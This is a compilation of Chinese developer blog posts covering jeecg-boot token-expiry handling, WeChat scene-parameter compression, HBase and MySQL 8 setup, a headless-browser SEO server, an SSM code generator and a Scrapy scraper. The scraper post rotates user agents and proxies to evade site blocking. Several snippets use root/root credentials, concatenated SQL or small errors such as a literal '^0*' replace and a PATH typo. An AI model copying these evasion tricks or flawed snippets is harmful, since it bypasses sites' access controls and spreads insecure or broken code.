前端在对接过程中发现token失效后返回直接返回500，而不是返回200然后在返回体中设置自定义返回码，需要后端调整为返回200ok，请求体中的code为自定义的。

三、过程

发现请求中带失效token后端会报错

org.apache.shiro.authc.AuthenticationException: Token失效，请重新登录!
	at org.jeecg.modules.shiro.authc.ShiroRealm.checkUserTokenIsEffect(ShiroRealm.java:129)
	at org.jeecg.modules.shiro.authc.ShiroRealm.doGetAuthenticationInfo(ShiroRealm.java:101)
	at org.apache.shiro.realm.AuthenticatingRealm.getAuthenticationInfo(AuthenticatingRealm.java:571)
	at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doSingleRealmAuthentication(ModularRealmAuthenticator.java:180)
	at org.apache.shiro.authc.pam.ModularRealmAuthenticator.doAuthenticate(ModularRealmAuthenticator.java:267)
	at org.apache.shiro.authc.AbstractAuthenticator.authenticate(AbstractAuthenticator.java:198)
	at org.apache.shiro.mgt.AuthenticatingSecurityManager.authenticate(AuthenticatingSecurityManager.java:106)
	at org.apache.shiro.mgt.DefaultSecurityManager.login(DefaultSecurityManager.java:274)
	at org.apache.shiro.subject.support.DelegatingSubject.login(DelegatingSubject.java:260)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.executeLogin(JwtFilter.java:57)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.isAccessAllowed(JwtFilter.java:40)
	at org.apache.shiro.web.filter.AccessControlFilter.onPreHandle(AccessControlFilter.java:162)
	at org.apache.shiro.web.filter.PathMatchingFilter.isFilterChainContinued(PathMatchingFilter.java:203)
	at org.apache.shiro.web.filter.PathMatchingFilter.preHandle(PathMatchingFilter.java:178)
	at org.jeecg.modules.shiro.authc.aop.JwtFilter.preHandle(JwtFilter.java:78)

其中ShiroRealm和JwtFilter为jeecg-boot框架源码，其余为引用包代码，可以看到框架在ShiroRealm中抛出了AuthenticationException异常，之后一层层接收异常直到JwtFilter类的isAccessAllowed函数中处理异常，但是JwtFilter对异常的处理是再次抛出AuthenticationException，黑人问号.jpg

/**
    * 执行登录认证
    *
    * @param request
    * @param response
    * @param mappedValue
    * @return
    */
@Override
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue){
    try {
        executeLogin(request, response);
        return true;
    } catch (Exception e) {
        throw new AuthenticationException("Token失效，请重新登录", e);
    }
}

但是我们可以发现同样在JwtFilter类中有一个preHandle函数，我们可以在preHandle函数中对

return super.preHandle(request, response);

进行异常处理，修改为

try {
    return super.preHandle(request, response);
}
catch (AuthenticationException e){
    httpServletResponse.setStatus(HttpStatus.OK.value());
    JSONObject data = new JSONObject();
    data.put("code", 2333);
    data.put("message", "Token失效，请重新登录");
    data.put("success", false);
    data.put("timestamp", new Date().getTime());
    /**获取OutputStream输出流*/
    OutputStream outputStream = response.getOutputStream();
    /**设置json返回格式*/
    ((HttpServletResponse) response).setHeader("content-type", "application/json");
    /**将字符转换成字节数组，指定以UTF-8编码进行转换*/
    byte[] dataByteArr = data.toJSONString().getBytes(StandardCharsets.UTF_8);
    /**使用OutputStream流向客户端输出字节数组*/
    outputStream.write(dataByteArr);
    return false;
}

经过postman测试为返回200ok，状态码2333

针对微信获取小程序码scene参数的数据压缩算法

七仔(Github) — Tue, 28 Apr 2020 00:30:33 GMT

针对微信获取小程序码scene参数的数据压缩算法

一、前言

微信小程序现在有四个获取小程序码的接口，分别是:

接口 A: 适用于需要的码数量较少的业务场景

生成小程序码，可接受 path 参数较长，生成个数受限，请谨慎使用。

接口 B：适用于需要的码数量极多的业务场景

生成小程序码，可接受页面参数较短，生成个数不受限。

接口 C：适用于需要的码数量较少的业务场景（不推荐使用）

生成二维码，可接受 path 参数较长，生成个数受限。

接口 D：适用于“一物一码”的业务场景

微信一物一码支持生成小程序码。微信通过“一物一码”接口发放的二维码相比较普通链接二维码更安全、支持更小的印刷面积，支持跳转到指定小程序页面，且无数量限制

二、问题

需要生成的小程序码数量要求很大，接口D的场景不一致，不考虑，接口A和接口C的生成数量加起来不超过十万，剩下的选择只有接口B，但是接口B的要求scene参数为（最大32个可见字符，只支持数字，大小写英文以及部分特殊字符：!#$&'()+,/:;=?@-._~，其它字符请自行编码为合法字符）算起来的话数字10个，大小写英文有262=52个，加上特殊字符共有82个字符，业务要求将两个信息放入32个字符内，不考虑别的手段，两个信息一个信息的数量小，但是另一个信息为数字和英文组成的36进制编码。经过计算后可以发现将特殊字符中的一个作为分隔符，将32位信息36进制压缩进81进制中可以缩短到27位，一个做分隔，还有4位保存另一个信息！可以做！

三、接口B文档

POST https://api.weixin.qq.com/wxa/getwxacodeunlimit?access_token=ACCESS_TOKEN

|属性|类型|默认值|必填|说明| |---|---|---|---|---| |access_token|string||是|接口调用凭证| |scene|string||是|最大32个可见字符，只支持数字，大小写英文以及部分特殊字符：!#$&'()*+,/:;=?@-._~，其它字符请自行编码为合法字符（因不支持%，中文无法使用 urlencode 处理，请使用其他编码方式）| |page|string|主页|否|必须是已经发布的小程序存在的页面（否则报错），例如 pages/index/index, 根路径前不要填加 /,不能携带参数（参数请放在scene字段里），如果不填写这个字段，默认跳主页面| |width|number|430|否|二维码的宽度，单位 px，最小 280px，最大 1280px| |auto_color|boolean|false|否|自动配置线条颜色，如果颜色依然是黑色，则说明不建议配置主色调，默认 false| |line_color|Object|{"r":0,"g":0,"b":0}|否|auto_color 为 false 时生效，使用 rgb 设置颜色例如 {"r":"xxx","g":"xxx","b":"xxx"} 十进制表示| |is_hyaline|boolean|false|否|是否需要透明底色，为 true 时，生成透明底色的小程序|

返回值为图片的Buffer

四、操作

将82个字符中的“-”拿出来做分隔符，剩下81个字符做为81进制，将36进制转为10进制，再将10进制转为81进制。

五、工具类

我写好了工具类，直接拿来用就可以

import org.apache.commons.lang.StringUtils;
import java.math.BigInteger;

/**
 * 小程序码加密解密（进制转换）
 */
public class MiniCodeUtil {

    /**八十一进制*/
    private static String chars =
            "0123456789" +
            "ABCDEFGHIJ" +
            "KLMNOPQRST" +
            "UVWXYZabcd" +
            "efghijklmn" +
            "opqrstuvwx" +
            "yz!#$&'()*" +
            "+,/:;=?@._" +
            "~";
    private static int scale = 81;
    private static int minLength = 4;

    /**
     * 加密
     * @param str 字符串
     * @return
     */
    public static String encode(String str) {
        BigInteger num = new BigInteger(str, 36);
        StringBuilder sb = new StringBuilder();
        int remainder;
        while (num.compareTo(BigInteger.valueOf(scale - 1)) > 0) {
            remainder = num.mod(BigInteger.valueOf(scale)).intValue();
            sb.append(chars.charAt(remainder));
            /**除以进制数，获取下一个末尾数*/
            num = num.divide(BigInteger.valueOf(scale));
        }
        sb.append(chars.charAt(num.intValue()));
        String value = sb.reverse().toString();
        return StringUtils.leftPad(value, minLength, '0');
    }

    /**
     * 解密
     * @param str 字符串
     * @return
     */
    public static String decode(String str) {
        /**将 0 开头的字符串进行替换*/
        str = str.replace("^0*", "");
        BigInteger value = BigInteger.ZERO;
        char tempChar;
        BigInteger tempCharValue;
        for (int i = 0; i < str.length(); i++) {
            /**获取字符*/
            tempChar = str.charAt(i);
            /**单字符值*/
            tempCharValue = BigInteger.valueOf(chars.indexOf(tempChar));
            /**单字符值在进制规则下表示的值*/
            BigInteger item = BigInteger.valueOf(scale).pow(str.length() - i - 1);
            value = value.add(tempCharValue.multiply(item));
        }
        return addZeroForNum(value.toString(36), 32);
    }



    /**
     * 补零
     * str 原字符串
     * strLength 字符串总长
     * */
    private static String addZeroForNum(String str, int strLength) {
        int strLen = str.length();
        if (strLen < strLength) {
            while (strLen < strLength) {
                StringBuffer sb = new StringBuffer();
                sb.append("0").append(str);// 左补0
                // sb.append(str).append("0");//右补0
                str = sb.toString();
                strLen = str.length();
            }
        }
        return str;
    }
}

六、调用方式

System.out.println(MiniCodeUtil.decode(MiniCodeUtil.encode("995587e102064d47b670f5b81253dd58")));

七、Javascript函数（未做大数处理）

写了个javascript的解密函数，但是javascript对大于9007199254740992的数处理出现错误，所以该函数只能对位数比较短的数做处理，例如处理32位数会出现问题

var Stack = (function(){
    var items = new WeakMap();
    //先入后出，后入先出
    class Stack{
        constructor(){
            items.set(this,[]);
        }
        push(ele){
            //入栈
            var ls = items.get(this);
            ls.push(ele);
        }
        pop(){
            //出栈
            var ls = items.get(this);
            return ls.pop();
        }
        size(){
            //获取栈的长度
            var ls = items.get(this);
            return ls.length;
        }
        print(){
            //打印栈
            var ls = items.get(this);
            return ls.toString();
        }
    }
    return Stack;
})();
    
/**
    * num 需要转化的数字
    * base 转化的进制，默认为 2
    * */
function devide(num,base){
    base = Math.floor(base) || 2;
    if(typeof num != "number" || num < 0 || base > 36 || base < 2){
        throw new Error("参数错误");
        return '';
    }
    num = Math.floor(num);
    
    var code = "0123456789abcdefghijklmnopqrstuvwxyz";
    var stack = new Stack();
    var res = '';
    var rem;
    while(num > 0){
        rem = num % base;
        stack.push(rem);
        num = Math.floor(num/base);
    }
        
    while(stack.size() > 0){
        res += code[stack.pop()];
    }
        
    return res;
}
function transfrom(num,base){
    //任意进制转十进制
    var bases = [
        "0","1","2","3","4","5","6","7","8","9",
        "A","B","C","D","E","F","G","H","I","J",
        "K","L","M","N","O","P","Q","R","S","T",
        "U","V","W","X","Y","Z","a","b","c","d",
        "e","f","g","h","i","j","k","l","m","n",
        "o","p","q","r","s","t","u","v","w","x",
        "y","z","!","#","$","&","'","(",")","*",
        "+",",","/",":",";","=","?","@",".","_",
        "~"];
    var config = {};
    for(var k = 0; k < base; k++){
        config[bases[k]] = k;
    }
    num = String(num);
    var count =  0;
    var res = 0;
    var i;
    while(num.length > 0){
        i  = num[num.length - 1];
        i = config[i];
        res = res + i * Math.pow(base,count);
        num = num.substr(0,num.length-1);
        count++;
    }
    return res;
}




/**字符串*/
var str = '1f/@*WYzW(Bq:yJSWqguXPJSf1W'
var str_res = devide(transfrom(str,81),36);
console.log("str_res :" + str_res )

Hbase 3节点分布式集群搭建（服务器）

七仔(Github) — Wed, 25 Mar 2020 07:23:23 GMT

Hbase 3节点分布式集群搭建（服务器）

主要参考了hbase高可用性分布式集群搭建（3节点超详细集群安装）中间踩了一堆坑，最后发现服务器的host应该这么设置(vim /etc/hosts)：

master

127.0.0.1 localhost
填你的内网IP master
填你的公网IP slave1
填你的公网IP slave2

slave1

127.0.0.1 localhost
填你的公网IP master
填你的内网IP slave1
填你的公网IP slave2

slave2

127.0.0.1 localhost
填你的公网IP master
填你的公网IP slave1
填你的内网IP slave2

这是三节点的配置，多节点以此类推然后三个服务器之间的安全组要配置：对其余两台服务器放通所有协议和端口（注意！！！只对其余两台服务器，别全放开了，可能别人分分钟给你黑了）

基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0

七仔(Github) — Wed, 25 Mar 2020 07:09:59 GMT

基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0

这是基于谷歌/火狐无头浏览器模式解决Vue的SEO问题 2.0版本，优化了上一个版本，去掉了nodejs模块，集成到了python中

下面是优化过后的python代码

这里使用python调用火狐浏览器获取渲染数据

from http.server import HTTPServer, BaseHTTPRequestHandler
from selenium.webdriver.chrome.options import Options
from selenium import webdriver

host = ('localhost', 3000)


class Resquest(BaseHTTPRequestHandler):
    def getHTML(self, url):
        options = Options()
        options.add_argument('--headless')  # 无界面
        options.add_argument('--no-sandbox')
        options.add_argument('--disable-gpu')
        options.add_argument('--disable-dev-shm-usage')
        browser = webdriver.Chrome(options=options)  # 打开浏览器
        browser.get(url=url)  # 请求
        html_msg = browser.page_source.encode('GBK', 'ignore').decode('GBk')
        browser.close()  # 关闭浏览器
        browser.quit()  # # 杀死chrome浏览器的连接桥(chromedriver)的进程
        return html_msg

    def do_GET(self):
        print(self.headers)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(self.getHTML("https://www.baby7blog.com" + self.path).encode())


if __name__ == '__main__':
    server = HTTPServer(host, Resquest)
    print("Starting server, listen at: %s:%s" % host)
    server.serve_forever()

python通过数据库自动生成SSM代码

七仔(Github) — Wed, 25 Mar 2020 06:57:29 GMT

python通过数据库自动生成SSM代码

前段时间要写几个差不多的项目，后天都是用的SSM，然后用ajax通信，就先敲了个这个出来。

思路是做一个模板，然后读取数据库结构，最后生成代码包。

因为比较着急，也没细做，先放到这，后面有时间了完善一下。

主模块

#!/usr/bin/python3
import mysql
import file
import template

db_name = "*"    # 数据库名


if __name__ == '__main__':
    # 连接数据库读取表列表
    table_list = mysql.get_table_list(db_name)
    # 获取代码模板
    template_list = file.get_template_list()
    for table in table_list:
        # 获取表结构
        table_struct_list = mysql.get_table_struct(table, db_name)
        # 对代码模板进行加工
        code_gen_list = template.handle(table, table_struct_list, template_list)
        # 输出成品代码
        file.save_code_gen(table, code_gen_list)

文件模块

#!/usr/bin/python3
import os
import template

# 代码模板列表
template_baseJavaWeb_path_list = [
    "template-baseJavaWeb/bean/Base.java",
    "template-baseJavaWeb/controller/BaseController.java",
    "template-baseJavaWeb/dao/BaseMapper.java",
    "template-baseJavaWeb/mapping/BaseMapper.xml",
    "template-baseJavaWeb/service/BaseService.java",
    "template-baseJavaWeb/serviceImpl/BaseServiceImpl.java"
]
# template_ssm_manage_path_list = [
#     "template-ssm-manage/controller/BaseController.java",
#     "template-ssm-manage/mapper/BaseMapper.java",
#     "template-ssm-manage/mapper/BaseMapper.xml",
#     "template-ssm-manage/service/BaseService.java",
#     "template-ssm-manage/po/Base.java"
# ]
# template_permission_path_list = [
#     "template-permission/controller/BaseController.java",
#     "template-permission/mapper/BaseMapper.java",
#     "template-permission/mapper/BaseMapper.xml",
#     "template-permission/pojo/Base.java",
#     "template-permission/service/impl/BaseServiceImpl.java",
#     "template-permission/service/BaseService.java"
# ]

template_path_list = template_baseJavaWeb_path_list


def get_template_list():
    """代码模板列表获取

    :return: 代码模板列表
    """
    template_list = []
    for template_path in template_path_list:
        with open(template_path, 'r', encoding='UTF-8') as file:
            template_list.append(file.read())
    print("获取代码模板成功，代码模板路径列表：" + str(template_path_list))
    return template_list


def save_code_gen(table_name, code_gen_list):
    """成品代码保存

    :param table_name: 表名
    :param code_gen_list: 成品代码列表
    """
    index = 0
    for template_path in template_path_list:
        template_folder_path = template_path[:template_path.find("Base")-1]
        template_folder_path = template_folder_path.replace("template", "code-gen")
        if not os.path.exists(template_folder_path):
            os.makedirs(template_folder_path)
        template_path = template_path.replace("template", "code-gen")
        template_path = template_path.replace("Base", template.line_to_hump(table_name["Name"]))
        print("保存路径：" + template_path)
        with open(template_path, 'w+', encoding='UTF-8') as file:
            file.write(code_gen_list[index])
        index = index + 1
    print("保存成品代码成功！！！")

数据库模块

import pymysql

host = 'localhost'
user = 'root'
password = 'root'


def get_table_list(db_name):
    """连接数据库读取表列表

    :return: 数据库表列表
    """
    tables = []
    connection = pymysql.connect(host=host, user=user, password=password, db=db_name,
                                 charset='utf8', cursorclass=pymysql.cursors.DictCursor)
    try:
        with connection.cursor() as cursor:
            cursor.execute("show table status;")
            table = cursor.fetchall()  # 获取所有（输出是列表，列表中的每个元素是字典，字典的KEY是Tables_in_拼接数据库名称）
        for k in range(len(table)):  # 提取表名
            tables.append({"Name": table[k]['Name'], "Comment": table[k]['Comment']})
    finally:
        connection.commit()
        connection.close()
    print("获取表名成功，[表名,注释]列表：" + str(tables))
    return tables


def get_table_struct(table_name, db_name):
    """获取表结构
    
    :param table_name: {Name:表名,Comment:注释}
    :return: 表结构
    """
    structs = []
    connection = pymysql.connect(host=host, user=user, password=password, db=db_name,
                                 charset='utf8', cursorclass=pymysql.cursors.DictCursor)
    cursor = connection.cursor()
    sql = "show full columns from `" + table_name["Name"] + "`"
    cursor.execute(sql)  # 查询表结构
    for x in cursor:
        structs.append(x)
    connection.close()
    print("获取表结构成功，结构列表：" + str(structs))
    return structs

代码生成模块

#!/usr/bin/python3
import re
# 模板规则:
# 形如$base$的用表名替换
# 形如$Base$的用表名大驼峰风格替换
# 形如$Note$的用表注释替换
# 形如$for *$(*为长度不一的字符串)的
#   其内有%javaType%的用字段类型转Java类型替换
#   其内有%type%的用字段类型替换
#   其内有%note%的用字段注释替换
#   其内有%name_%的用字段名替换
#   其内有%name%的用字段名(转小驼峰)替换
#   其内有%Name%的用字段名(转大驼峰)替换
#   其内有%in-*%(*为长度不一的字符串)的*用来做列表分隔符，例子:a,b,c中的,
# $for0 *$为列表第一个
# $for+ *$为列表从第二个到最后一个

re_for = r"\$for[a-zA-Z0-9%\-; 	\n\r\.=\(\)<>{}/\"\*@_,!'#+]+\$"


def line_to_hump(line):
    """下划线风格转为大驼峰

    :param line: 下划线风格字符串
    :return: 大驼峰风格字符串
    """
    if "_" in line:
        return "".join(map(lambda x: x.capitalize(), line.split("_")))
    return line.capitalize()


def to_little_hump(hump):
    """转为小驼峰

    :param line: 大驼峰风格字符串
    :return: 小驼峰风格字符串
    """
    return hump[0:1].lower() + hump[1:]


def to_type(type):
    if "int" in type:
        return "INTEGER"
    if "double" in type:
        return "DOUBLE"
    if "varchar" in type:
        return "VARCHAR"
    if "text" in type:
        return "VARCHAR"
    if "date" in type:
        return "DATE"
    if "decimal" in type:
        return "DECIMAL"


def to_java_type(type):
    if "int" in type:
        return "Integer"
    if "double" in type:
        return "Double"
    if "varchar" in type:
        return "String"
    if "text" in type:
        return "String"
    if "date" in type:
        return "Date"
    if "decimal" in type:
        return "BigDecimal"


def handle_table_name(table_name, template_list):
    """表名处理

    :param table_name: {Name:表名,Comment:注释}
    :param template_list: 代码模板
    :return: 加工代码
    """
    code_gen_list = []
    for template in template_list:
        print()
        template = template.replace("$base$", table_name["Name"])
        template = template.replace("$Base$", line_to_hump(table_name["Name"]))
        template = template.replace("$Note$", table_name["Comment"])
        code_gen_list.append(template)
    return code_gen_list


def get_for_handle_list(table_struct, for_sign_list, index, length):
    """列表内处理

    :param table_struct: 字段结构
    :param index: 循环下标
    :param for_sign_list: for模板列表
    :return:
    """
    for_handle_list = []
    for for_sign in for_sign_list:
        before_for_sign = for_sign
        if "$for0" in for_sign and index != 0:
            for_handle_list.append(for_sign)
            continue
        if "$for+" in for_sign and index == 0:
            for_handle_list.append(for_sign)
            continue
        if "%name_%" in for_sign:
            for_sign = for_sign.replace("%name_%", table_struct["Field"])
        if "%name%" in for_sign:
            for_sign = for_sign.replace("%name%", to_little_hump(line_to_hump(table_struct["Field"])))
        if "%Name%" in for_sign:
            for_sign = for_sign.replace("%Name%", line_to_hump(table_struct["Field"]))
        if "%note%" in for_sign:
            for_sign = for_sign.replace("%note%", table_struct["Comment"])
        if "%javaType%" in for_sign:
            for_sign = for_sign.replace("%javaType%", to_java_type(table_struct["Type"]))
        if "%type%" in for_sign:
            for_sign = for_sign.replace("%type%", to_type(table_struct["Type"]))
        sign = re.search(r"%in-[ ,]+%", for_sign)
        if sign:
            for_sign = for_sign.replace(sign.group(), ",")
        for_sign = for_sign.replace("$for0", "").replace("$for+", "")
        for_sign = for_sign.replace("$for", "").replace("$", "")
        if index < (length - 1):
            for_sign = for_sign + before_for_sign
        else:
            for_sign = for_sign[::-1]
            for_sign = for_sign.replace(",", "", 1)
            for_sign = for_sign[::-1]
        for_handle_list.append(for_sign)
    return for_handle_list


def handle_struct_list(table_struct_list, template_list):
    """列表处理

    :param table_struct_list: 表结构列表
    :param template_list: 代码模板
    :return: 加工代码
    """
    code_gen_list = []
    for template in template_list:
        index = 0
        for table_struct in table_struct_list:
            # 获取for列表并留下恢复记号
            for_sign = re.search(re_for, template)
            for_sign_list = []
            while for_sign:
                for_sign_str = for_sign.group()
                for_sign_list.append(for_sign_str)
                template = template.replace(for_sign.group(), "^^^", 1)
                for_sign = re.search(re_for, template)
            # 进行列表内处理
            for_handle_list = get_for_handle_list(table_struct, for_sign_list, index, len(table_struct_list))
            # 进行恢复替换
            for for_handle in for_handle_list:
                template = template.replace("^^^", for_handle, 1)
            index = index + 1
        code_gen_list.append(template)
    return code_gen_list


def handle_end(template_list):
    """最后处理

    :param template_list: 代码模板
    :return: 加工代码
    """
    code_handle_list = []
    for template in template_list:
        for_sign = re.search(re_for, template)
        while for_sign:
            template = template.replace(for_sign.group(), "")
            for_sign = re.search(re_for, template)
        code_handle_list.append(template)
    code_gen_list = []
    for template in code_handle_list:
        template = template.replace("$for0", "").replace("$for+", "")
        template = template.replace("$for", "").replace("$", "").replace("^^^", "")
        code_gen_list.append(template)
    return code_gen_list


def handle(table_name, table_struct_list, template_list):
    """总处理函数

    :param table_name: {Name:表名,Comment:注释}
    :param table_struct_list: 表结构列表
    :param template_list: 模板列表
    :return: 成品代码列表
    """
    code_gen_list = handle_table_name(table_name, template_list)
    code_gen_list = handle_struct_list(table_struct_list, code_gen_list)
    code_gen_list = handle_end(code_gen_list)
    return code_gen_list

这些就是全部代码了，然后还要根据模板规则写个模板，最后运行就可以这里放上模板和代码，对了还要在项目里加个base包和里面的文件，里面是抽出来的基本增删改查操作，base也放进去了：

点击下载文件

为Scrapy爬虫添加UA池和动态IP代理池

七仔(Github) — Wed, 25 Mar 2020 06:31:41 GMT

为Scrapy爬虫添加UA池和动态IP代理池

大家在进行爬取数据时可能会被封,这种情况可以通过降低爬取速度、更换user-agent、更换ip来预防，这里写了我的爬虫经验

添加UA池

在setting.py中添加

USER_AGENT_LIST = [
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
    "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"
]

然后在setting.py中取消注释DOWNLOADER_MIDDLEWARES(*处改成你自己的)：

DOWNLOADER_MIDDLEWARES = {
   '*.middlewares.Job51SpiderMiddleware': 543,
   '*.middlewares.Job51DownloaderMiddleware': 543,
}

然后再middlewares.py的*DownloaderMiddleware类中的process_request函数中添加

        user_agent = random.choice(spider.settings['USER_AGENT_LIST'])
        print(user_agent)
        request.headers['User-Agent'] = user_agent

运行后查看是否输出user-agent，输出代表成功了

添加动态IP代理池

添加IP代理池有很大程度上防止被封，但是免费的IP代理很难找到，找到了也用不久（事实上我就没找到过能用的），后来发现了个阿布云，有动态IP代理，然后是注册就送三个小时，并发每秒5个，这着实爽到我了，后面再用是每秒5个的话一小时一块钱！？，对于用不了那么多数据量的来说够够的了，添加并发的话大概每5个/秒的话是加4-5毛。没打广告啊(￣▽￣)"

下面讲讲具体操作：

在middlewares.py上方添加

# 阿布云 ip代理
import base64
# 代理服务器
proxyServer = "http://http-dyn.abuyun.com:9020"
# 代理隧道验证信息
proxyUser = "填你自己在阿布云获取到的"
proxyPass = "填你自己在阿布云获取到的"
proxyAuth = "Basic " + base64.urlsafe_b64encode(bytes((proxyUser + ":" + proxyPass), "ascii")).decode("utf8")

然后在*SpiderMiddleware类的process_request函数里增加：

        request.meta["proxy"] = proxyServer
        request.headers["Proxy-Authorization"] = proxyAuth
        print(proxyServer)
        print(proxyAuth)

运行后查看是否有输出

centos7.5安装mysql8

七仔(Github) — Wed, 25 Mar 2020 05:36:20 GMT

centos7.5安装mysql8

之前装的是个mysql5.7，但是挪数据什么的太麻烦了，就想装个mysql8，一般网上安装都是用yum安装，但我的用yum安装5.7很快，8就是装不上，一直报错，最后采用了另一种方法，参考了centos7.6 上mysql8.0的安装，有修改

下载mysql

wget https://mirrors.tuna.tsinghua.edu.cn/mysql/downloads/MySQL-8.0/mysql-8.0.17-linux-glibc2.12-x86_64.tar.xz

进行解压和移动解压文件位置

tar xf mysql-8.0.17-linux-glibc2.12-x86_64.tar.xz
mv mysql-8.0.17-linux-glibc2.12-x86_64 /usr/local/mysql

建立目录并赋予权限

cd /usr/local/mysql
mkdir data sql_log undo_log
chown mysql:root -R data/ sql_log/ undo_log/

添加msyql路径到path

export PATH=$PATH:/usr/localmysql/bin

source /etc/profile

写入my.cnf，放在最下方

vim /etc/my.cnf

初始化mysql

mysqld --initialize --user=root --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data

拷贝启动程序

cd /usr/local/mysql/support-files
cp mysql.server /etc/init.d/mysqld

查询密码，一般最后的乱码就是密码

grep password mysql-error.log

登录mysql，然后输入刚才查到的密码

mysql -uroot -p

my.cnf文件

[client]
port=3306
socket=/usr/local/mysql/data/mysql.sock
[mysqld]
# Skip #
skip_name_resolve= 1
skip-external-locking=1 
symbolic-links= 0
# GENERAL #
user = mysql
default_storage_engine=InnoDB
character-set-server=utf8
socket=/usr/local/mysql/data/mysql.sock
pid_file=/usr/local/mysql/data/mysqld.pid
basedir = /usr/local/mysql
#log_error=/usr/local/mysql/sql_log/mysql_1302.err
port=3306
bind-address=0.0.0.0
explicit_defaults_for_timestamp=on
#sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES
sql_mode=NO_ENGINE_SUBSTITUTION
#read_only=on
# MyISAM #
key_buffer_size=32M
#myisam_recover=FORCE,BACKUP

# undo log #
innodb_undo_directory=/usr/local/mysql/undo_log
innodb_undo_tablespaces=16

# SAFETY #
max_allowed_packet=100M
max_connect_errors=1000000
sysdate_is_now=1
#innodb	= FORCE
#innodb_strict_mode=1
secure-file-priv=/usr/local/mysql/sql_log
default_authentication_plugin='mysql_native_password'
# Replice #
 server-id=1306
 relay_log=mysqld-relay-bin
 gtid_mode=on
 enforce-gtid-consistency
 log-slave-updates=on
 master_info_repository=TABLE
 relay_log_info_repository=TABLE


# group replication specific options
#plugin-load=group_replication.so
#group_replication=FORCE_PLUS_PERMANENT
#transaction-write-set-extraction=XXHASH64
#loose-group_replication_start_on_boot=ON
#loose-group_replication_bootstrap_group=OFF
#loose-group_replication_group_name='aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'
#group_replication_local_address='10.102.13.2:33061'
#group_replication_group_seeds='10.102.13.3:33061,10.102.13.5:33061'

# DATA STORAGE #
 datadir=/usr/local/mysql/data/
 tmpdir=/tmp
 
# BINARY LOGGING #
 log_bin=/usr/local/mysql/sql_log/mysql-bin
 max_binlog_size=1000M
 binlog_format=row
 expire_logs_days=7
# sync_binlog=1

 # CACHES AND LIMITS #
 tmp_table_size                 = 32M
 max_heap_table_size            = 32M
 max_connections                = 4000
 thread_cache_size              = 2048
 open_files_limit               = 65535
 table_definition_cache         = 4096
 table_open_cache               = 4096
 sort_buffer_size               = 2M
 read_buffer_size               = 2M
 read_rnd_buffer_size           = 2M
# thread_concurrency             = 24
 join_buffer_size = 1M
# table_cache = 32768
 thread_stack = 512k
 max_length_for_sort_data = 16k


 # INNODB #
 innodb_flush_method            = O_DIRECT
 innodb_log_buffer_size = 16M
 innodb_flush_log_at_trx_commit = 2
 innodb_file_per_table          = 1
 innodb_buffer_pool_size        = 2G
 #innodb_buffer_pool_instances = 8
 innodb_stats_on_metadata = off
 innodb_open_files = 8192
 innodb_read_io_threads = 16
 innodb_write_io_threads = 16
 innodb_io_capacity = 20000
 innodb_thread_concurrency = 0
 innodb_lock_wait_timeout = 60
 innodb_old_blocks_time=1000
 innodb_use_native_aio = 1
 innodb_purge_threads=1
 innodb_change_buffering=all
 innodb_log_file_size = 128M
 innodb_log_files_in_group = 3
 innodb_data_file_path  = ibdata1:1024M:autoextend
 
 innodb_rollback_on_timeout=on
 # LOGGING #
 log_error=/usr/local/mysql/sql_log/mysql-error.log
 # log_queries_not_using_indexes  = 1
 # slow_query_log                 = 1
slow_query_log_file=/usr/local/mysql/sql_log/slowlog_1305.log

 # TimeOut #
 #interactive_timeout = 30
 #wait_timeout        = 30
 #net_read_timeout = 60

[mysqldump]
quick
max_allowed_packet = 100M

